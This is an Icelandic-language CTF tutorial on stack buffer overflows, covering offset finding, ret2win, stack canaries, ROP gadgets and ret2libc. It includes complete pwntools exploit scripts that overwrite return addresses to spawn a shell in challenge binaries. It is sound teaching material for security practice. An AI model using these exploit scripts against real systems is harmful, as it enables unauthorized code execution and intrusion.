Skip to content

Yfirflæðisárásir

Forsendur (e. prerequisites): Assembly, Minnislíkan, ELF snið, GDB

Hvað er buffer overflow?

Buffer overflow (biðminnisyfirflæði) á sér stað þegar forrit les inn fleiri gögn en rúmast í biðminnið sem er úthlutað fyrir þau. Gögnin sem umfram eru yfirskrifa nærliggjandi minnissvæði.

void vulnerable() {
    char buf[64];   // 64 bætum úthlutað
    gets(buf);      // gets() þekkir engin mörk, les þar til \n eða EOF
}

Minnisútlit (e. memory layout) á stafla:

┌──────────────┐ ← Hærra vistfang
│ return addr  │  ← 8 bæti — ÞETTA viljum við yfirskrifa
├──────────────┤
│  saved rbp   │  ← 8 bæti
├──────────────┤
│              │
│   buf[64]    │  ← 64 bæti — inntak fer hingað
│              │
└──────────────┘ ← Lægra vistfang (rsp)

Ef við sendum inn 64 + 8 + 8 = 80 bæti, og síðan 8 bæta skilavistfang, þá erum við komin inn!


Að finna offset

Við þurfum að vita hversu mörg bæti við þurfum áður en við náum return address.

Aðferð 1: Handvirkt með GDB

gdb ./challenge
b *vulnerable+50        # Stöðvunarmark rétt fyrir ret
r <<< $(python3 -c "print('A'*64 + 'B'*8 + 'C'*8)")
# Skoðum hvað er á rsp þegar ret er keyrt:
x/gx $rsp
# Ef við sjáum 0x4343434343434343 ('CCCCCCCC'), er offset 64+8 = 72

Stöðvunarmark er sett rétt fyrir ret skipunina.

Aðferð 2: Cyclic pattern með pwntools

from pwn import *

# Búa til mynstur (e. cyclic pattern) - engar endurtekningar
pattern = cyclic(200)
# ... senda inn í forritið, fá segfault, skoða gildi í rsp ...
offset = cyclic_find(0x6161616261616161)  # Gildið sem var í rsp
print(offset)  # t.d. 72

Ef forritið hrynur með Segfault getum við séð nákvæmlega hvar það gerðist.


ret2win (Einfaldasta overflow)

Í ret2win verkefnum er alltaf "win" fall sem við þurfum að kalla á:

void win() {
    system("/bin/sh");   // eða: print_flag()
}

void vulnerable() {
    char buf[64];
    gets(buf);
}

Lausn með pwntools

from pwn import *

# Tengist ferlinu (e. process)
p = process('./challenge')
# Eða yfir net: p = remote('chall.ctf.example', 1337)

elf = ELF('./challenge')

offset = 72  # bæti þar til skilavistfangs
win_addr = elf.symbols['win']  # vistfang win fallsins

payload = b'A' * offset        # Fylla biðminnið
payload += p64(win_addr)       # Yfirskrifa return address

p.sendline(payload)
p.interactive()  # Gefur okkur shell

p64() og p32()

  • p64(addr): pakkar 64-bit vistfang í lágenda bætaröð
  • p32(addr): pakkar 32-bit vistfang
  • u64(bytes) / u32(bytes): opnar

Stack Canary

Ef checksec sýnir Stack: Canary found, þá er slembitala (canary) sett á stafla rétt fyrir return address. Þegar fall endar athugar forritið hvort talan (canary) sé óbreytt.

┌──────────────┐
│ return addr  │
├──────────────┤
│  saved rbp   │
├──────────────┤
│   CANARY     │  ← Ef þetta breytist → SIGABRT (crash)
├──────────────┤
│   buf[64]    │
└──────────────┘

Til að fara framhjá canary þarftu: 1. Leka (e. leak) canary gildið (t.d. með format string eða partial overflow) 2. Setja rétta canary í payloadinn þinn


ROP (Return Oriented Programming)

Þegar NX er virkt (stafli er ekki keyranlegur), getum við ekki sett shellcode á stafla. Í staðinn notum við ROP (Return Oriented Programming).

ROP notfærir sér lítil smalamálsbrot (e. gadgets) sem eru þegar til í forritinu, hvert brot endar á ret.

ROP gadgets

; Dæmi um gadget:
pop rdi     ; les gildi af stafla inn í rdi
ret         ; hoppar þangað sem rsp bendir á

ROPgadget tólið

ROPgadget --binary ./challenge | grep "pop rdi"
# 0x00401234 : pop rdi ; ret

ret2win með rök (e. arguments)

Ef win() tekur frumbreytu (e. argument), þurfum við að setja rétt gildi í rdi (1. frumbreytu):

from pwn import *

p = process('./challenge')
elf = ELF('./challenge')

offset = 72
pop_rdi = 0x401234        # vistfang: pop rdi; ret
win_addr = elf.sym['win']

payload  = b'A' * offset
payload += p64(pop_rdi)    # Setur næsta gildi í rdi
payload += p64(0xdeadbeef) # Frumbreytan sem win() þarf
payload += p64(win_addr)

p.sendline(payload)
p.interactive()

ret2libc

Þegar forritið hefur ekki "win" fall, kallum við beint á system("/bin/sh") úr libc.

Við þurfum: 1. vistfang system() í libc 2. vistfang strengsins "/bin/sh" í libc 3. Fá libc base address (ef ASLR/PIE er virkt), sjá libc

from pwn import *

p = process('./challenge')
elf = ELF('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

offset = 72
pop_rdi   = 0x401234
ret_gadget = 0x401235      # Stundum þarf "ret" til að stilla stack alignment

# Ef engin PIE: elf.plt['puts'] er þekkt
# Annars þarf libc leak fyrst

system_addr = libc.sym['system']
binsh_addr  = next(libc.search(b'/bin/sh'))

payload  = b'A' * offset
payload += p64(ret_gadget)   # Stilla 16-byte alignment (krafist af system())
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendline(payload)
p.interactive()

block-beta
  columns 1

  HighAddr["Hærra vistfang (0x7FFFFFFFFFFF)"]
  style HighAddr fill:#0f172a,stroke:#334155,color:#cbd5e1

  block:StackBlock
    columns 1
    StackLabel("STAFLI (e. STACK)")
    StackDesc("Staðværar breytur, return addresses, saved registers")
    DownArrow("⬇ Vex niður á við (rsp minnkar)")
  end
  style StackBlock fill:#4c1d95,stroke:#a78bfa,color:#ffffff

  Unallocated("Óúthlutað svæði")
  style Unallocated fill:#18181b,stroke:#52525b,stroke-dasharray: 5 5,color:#a1a1aa

  block:HeapBlock
    columns 1
    UpArrow("⬆ Vex upp á við")
    HeapLabel("HRÚGA (e. HEAP)")
    HeapDesc("Kvikt minni (malloc/brk)")
  end
  style HeapBlock fill:#1e3a8a,stroke:#60a5fa,color:#ffffff

  BSS(".bss — Ófrumstilltar altækar breytur")
  style BSS fill:#27272a,stroke:#52525b,color:#e4e4e7

  Data(".data — Frumstilltar altækar breytur")
  style Data fill:#064e3b,stroke:#34d399,color:#ffffff

  Text(".text — Keyranlegur kóði")
  style Text fill:#7f1d1d,stroke:#f87171,color:#ffffff

  LowAddr["Lægra vistfang (0x000000000000)"]
  style LowAddr fill:#0f172a,stroke:#334155,color:#cbd5e1

Gátlisti fyrir overflow verkefni

  • [ ] Keyra checksec: hvaða verndir eru virkar?
  • [ ] Finna viðkvæmt fall (e. vulnerable function) í Ghidra (gets, strcpy, scanf("%s"))
  • [ ] Finna offset með cyclic pattern eða handvirkt
  • [ ] Finna markvistfang (win fall, ROP gadget, o.s.frv.)
  • [ ] Skrifa pwntools nýtingarkóða (e. exploit)
  • [ ] Prófa á local, síðan nota remote() á CTF server